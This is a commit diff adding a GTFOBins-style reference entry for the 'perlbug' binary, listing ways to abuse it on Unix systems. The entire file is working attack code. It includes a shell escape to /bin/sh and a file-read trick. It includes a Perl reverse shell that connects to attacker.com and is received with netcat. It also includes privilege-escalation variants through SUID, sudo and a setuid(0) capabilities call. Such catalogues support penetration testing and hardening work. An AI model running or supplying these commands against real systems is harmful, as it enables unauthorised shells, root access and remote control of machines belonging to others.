Add perlbug

_gtfobins/perlbug.md

@@ -0,0 +1,21 @@
+---
+functions:
+  shell:
+    - code: perlbug -e 'exec "/bin/sh";'
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        perlbug -ne print $LFILE
+  reverse-shell:
+    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        perlbug -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
+  suid:
+    - code: ./perlbug -e 'exec "/bin/sh";'
+  sudo:
+    - code: sudo perlbug -e 'exec "/bin/sh";'
+  capabilities:
+    - code: ./perlbug -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
+---